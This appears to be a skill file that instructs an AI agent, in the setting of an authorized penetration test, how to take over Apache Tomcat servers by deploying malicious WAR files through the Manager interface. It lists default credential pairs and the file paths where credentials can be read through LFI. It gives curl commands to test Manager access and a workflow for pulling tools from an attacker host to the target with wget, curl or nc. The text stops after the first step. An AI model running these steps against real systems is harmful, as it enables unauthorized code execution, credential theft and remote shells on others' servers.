/tomcat-manager-deploy

name: tomcat-manager-deploy
description: >
  Deploy WAR files via Apache Tomcat Manager for remote code execution.
  Use when Tomcat Manager is accessible with valid credentials (manager-script
  or manager-gui role). Covers WAR generation, deployment via text API and HTML
  interface, reverse shell delivery, and cleanup. Common initial access vector
  after credential discovery via LFI, default creds, or config file exposure.
keywords:
  - tomcat manager
  - WAR deploy
  - WAR file upload
  - tomcat RCE
  - manager-script
  - manager-gui
  - tomcat reverse shell
  - JSP shell
  - msfvenom war
  - tomcat-users.xml
  - /manager/text
  - /manager/html
  - tomcat exploitation
  - application server RCE
tools:
  - msfvenom
  - curl
  - jar
opsec: medium

Tomcat Manager WAR Deployment

You are helping a penetration tester exploit authenticated access to Apache Tomcat's Manager application to deploy a malicious WAR file and achieve remote code execution. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[tomcat-manager-deploy] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

Scope Boundary

This skill covers Tomcat Manager WAR deployment — authenticating to the Manager interface, generating a malicious WAR payload, deploying it, triggering code execution, and catching a reverse shell. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

• What was found (vulns, credentials, access gained)
• Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Exploit and Tool Transfer

Never download exploits, scripts, or tools directly to the target from the internet (`curl https://github.com/...`, `git clone` on target). Targets may lack outbound internet access, and operators must review files before they reach the target.

**Attackbox-first workflow:**

1. **Download on attackbox** — `git clone`, `curl`, `searchsploit -m` locally 2. **Review** — inspect source code or binary provenance before transferring 3. **Serve** — `python3 -m http.server 8080` from the directory containing the file 4. **Pull from target** — `wget http://ATTACKBOX:8080/file -O /tmp/file` or `curl http://ATTACKBOX:8080/file -o /tmp/file`

**Alternatives when HTTP is not viable:** `scp`/`sftp` (if SSH exists), `nc` file transfer, base64-encode and paste, or `impacket-smbserver share . -smb2support` on attackbox.

**Inline source code** written via heredoc in this skill does not need this workflow — the operator can read the code directly.

Prerequisites

• **Tomcat Manager credentials** with `manager-script` or `manager-gui` role
• From LFI: `/var/lib/tomcat{7,8,9,10}/conf/tomcat-users.xml`,

`/opt/tomcat/conf/tomcat-users.xml`, `/etc/tomcat*/tomcat-users.xml`

• From default creds: `tomcat:tomcat`, `admin:admin`, `tomcat:s3cret`,

`admin:tomcat`, `manager:manager`, `role1:tomcat`

• From config exposure: misconfigured backups, GitHub leaks, `.env` files
• **Network access** to Tomcat Manager (usually port 8080 or 80/443)
• **msfvenom** installed on attackbox (for WAR generation)
• **Tomcat Manager endpoint** — `/manager/text/` (script API) or

`/manager/html/` (web GUI)

Manager Role Requirements

| Role | Path | Capability | |------|------|-----------| | `manager-gui` | `/manager/html` | Web GUI — upload WAR via browser form | | `manager-script` | `/manager/text` | Text API — deploy/undeploy via curl | | `manager-jmx` | `/manager/jmxproxy` | JMX monitoring only — no deployment | | `manager-status` | `/manager/status` | Server status only — no deployment |

Only `manager-gui` and `manager-script` allow WAR deployment. If you only have `manager-jmx` or `manager-status`, deployment is not possible via Manager — note this in Blocked and return.

Step 1: Assess

If not already provided by the orchestrator or conversation context, determine:

1. **Tomcat version** — check `/` or error pages for version string 2. **Manager access** — test both `/manager/text/list` and `/manager/html/` 3. **Credentials** — try provided creds or defaults 4. **Attacker IP** — determine the correct callback interface

Verify Manager Access

# Test manager-script API (text)
curl -s -u 'USER:PASS' 'http://TARGET:8080/manager/text/list'
# Expected: "OK - Listed applications for virtual host ..."

# Test manager-gui (HTML)
curl -s -o /dev/null -w '%{http_code}' -u 'USER:PASS' 'http://TARGET:8080/manager/html'
# Expected: 200

D